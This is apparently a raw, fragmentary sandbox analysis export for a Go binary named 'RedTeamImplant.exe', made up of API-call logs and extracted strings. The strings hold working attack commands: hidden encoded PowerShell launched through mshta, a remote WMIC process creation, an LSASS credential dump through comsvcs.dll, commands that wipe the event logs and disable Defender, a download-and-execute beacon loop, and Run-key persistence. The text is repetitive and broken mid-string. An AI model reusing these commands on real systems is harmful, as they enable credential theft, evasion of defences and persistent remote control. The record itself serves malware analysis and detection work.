blockcasGToWaitingForSuspendG with non-isWaitingForSuspendG wait reasonunable to query buffer size from InitializeProcThreadAttributeListreflect: reflect.Value.UnsafePointer on an invalid notinheap pointerruntime.Pinner: found leaking pinned pointer; forgot to call Unpin()?exec: command with a non-nil Cancel was not created with CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)" (Indicator: "/c whoami") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp31:T6e6,"RedTeamImplant.exe" called "CreateProcessW" with parameter "mshta.exe "vbscript:CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSg" - (UID: 00000000-00007844) "RedTeamImplant.exe" called "CreateProcessW" with parameter "mshta.exe "vbscript:CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc d2hpbGUoJHRydWUpe3RyeXskd2M9TmV3LU9" - (UID: 00000000-00007844) "RedTeamImplant.exe" called "CreateProcessW" with parameter "mshta.exe "vbscript:CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3J" - (UID: 00000000-00007844) "RedTeamImplant.exe" called "CreateProcessW" with parameter "mshta.exe "vbscript:CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc d2V2dHV0aWwgZWx8JSB7d2V2dHV0aWwgY2w" - (UID: 00000000-00007844) "RedTeamImplant.exe" called "CreateProcessW" with parameter "mshta.exe "vbscript:CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc cnVuZGxsMzIgQzpcV2luZG93c1xTeXN0ZW0" - (UID: 00000000-00007844) "RedTeamImplant.exe" called "CreateProcessW" with parameter "mshta.exe "vbscript:CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc d21pYyBjb21wdXRlcnN5c3RlbSBnZXQgY2F" - (UID: 00000000-00007844) "RedTeamImplant.exe" called "CreateProcessW" with parameter "mshta.exe "vbscript:CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc d21pYyAvbm9kZToiMTkyLjE2OC4xLjEwMCI" - (UID: 00000000-00007844) "RedTeamImplant.exe" called "CreateProcessW" with parameter "mshta.exe javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaGJHeGlZV05yU0luQ1NNZkFIZ0FBQUE4RlNESEF3dz09JykpOw=='))(wi" - (UID: 00000000-00007844)32:T1fcd,"RedTeamImplant.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter NtAssociateWaitCompletionPacket (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter NtCancelWaitCompletionPacket (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter NtQueryInformationFile (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter InitializeProcThreadAttributeList (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter UpdateProcThreadAttribute (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter DeleteProcThreadAttributeList (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00007844) "RedTeamImplant.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00007844)33:T1380,Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "ResumeThread"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "TlsAlloc"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "SetProcessPriorityBoost"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "WriteFile"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "RaiseFailFastException"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetStdHandle"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "SetWaitableTimer"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetErrorMode"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "CreateEventA"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "SetThreadContext"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "VirtualQuery"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetThreadContext"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "WerSetFlags"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "SuspendThread"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "CloseHandle"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "SwitchToThread"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "SetEvent"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "AddVectoredContinueHandler"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "VirtualFree"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "CreateThread"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "ExitProcess"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "WerGetFlags"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetProcAddress"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "SetErrorMode"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "WSAIoctl"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetFileType"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "RedTeamImplant.exe") Found reference to API (Indicator: "WSAIoctl"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00007844.00000002.187602.00100000.00000004.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00007844.00000002.187602.00100000.00000004.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00007844.00000002.187602.00100000.00000004.mdmp") Found reference to API (Indicator: "DeleteProcThreadAttributeList"; Source: "00000000-00007844.00000002.187602.00100000.00000004.mdmp")34:Tfef,"generationtrace: non-empty full trace buffer for next generationgoroutine running on other thread; stack unavailableinternal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic compute" in Source: RedTeamImplant.exe "rface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl "$_"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "mshta vbscript:CreateObject(\"\"WScript.Shell\"\").Run(\"\"powershell -w hidden -enc ...\"\",0)(window.close)" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899" in Source: RedTeamImplant.exe "generationtrace: non-empty full trace buffer for next generationgoroutine running on other thread; stack unavailableinternal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic comput" in Source: RedTeamImplant.exe "internal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic computersystem get caption,domain,username;systeminfoGODEBUG=execwait=2 detected a leaked exec.Cmd created by:" in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp35:T41d,"generationtrace: non-empty full trace buffer for next generationgoroutine running on other thread; stack unavailableinternal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic compute" in Source: RedTeamImplant.exe36:T41c,"generationtrace: non-empty full trace buffer for next generationgoroutine running on other thread; stack unavailableinternal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic comput" in Source: RedTeamImplant.exe37:T436,"internal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic computersystem get caption,domain,username;systeminfoGODEBUG=execwait=2 detected a leaked exec.Cmd created by:" in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp38:T41d,"generationtrace: non-empty full trace buffer for next generationgoroutine running on other thread; stack unavailableinternal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic compute" in Source: RedTeamImplant.exe39:T41c,"generationtrace: non-empty full trace buffer for next generationgoroutine running on other thread; stack unavailableinternal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic comput" in Source: RedTeamImplant.exe3a:T436,"internal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic computersystem get caption,domain,username;systeminfoGODEBUG=execwait=2 detected a leaked exec.Cmd created by:" in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp3b:T88f,"internal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic computersystem get caption,domain,username;systeminfoGODEBUG=execwait=2 detected a leaked exec.Cmd created by:" in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp "rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Interface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl "$_"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "mshta vbscript:CreateObject(\"\"WScript.Shell\"\").Run(\"\"powershell -w hidden -enc ...\"\",0)(window.close)" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899" in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp3c:T436,"internal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic computersystem get caption,domain,username;systeminfoGODEBUG=execwait=2 detected a leaked exec.Cmd created by:" in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp3d:T457,"rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Interface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl "$_"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "mshta vbscript:CreateObject(\"\"WScript.Shell\"\").Run(\"\"powershell -w hidden -enc ...\"\",0)(window.close)" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899" in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp3e:T436,"internal error: negative process handle reference countSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesreflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksstrings: illegal use of non-zero Builder copied by valuenon-empty pointer map passed for non-pointer-size valuesfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= cannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=wmic computersystem get caption,domain,username;systeminfoGODEBUG=execwait=2 detected a leaked exec.Cmd created by:" in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp3f:T455,"rundll32 %WINDIR%\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Interface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl "$_"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "mshta vbscript:CreateObject(\"\"WScript.Shell\"\").Run(\"\"powershell -w hidden -enc ...\"\",0)(window.close)" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899" in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp40:T430,"RedTeamImplant.exe" loaded module "KERNEL32" at base 7ff832740000 "RedTeamImplant.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff830980000 "RedTeamImplant.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff830980000 "RedTeamImplant.exe" loaded module 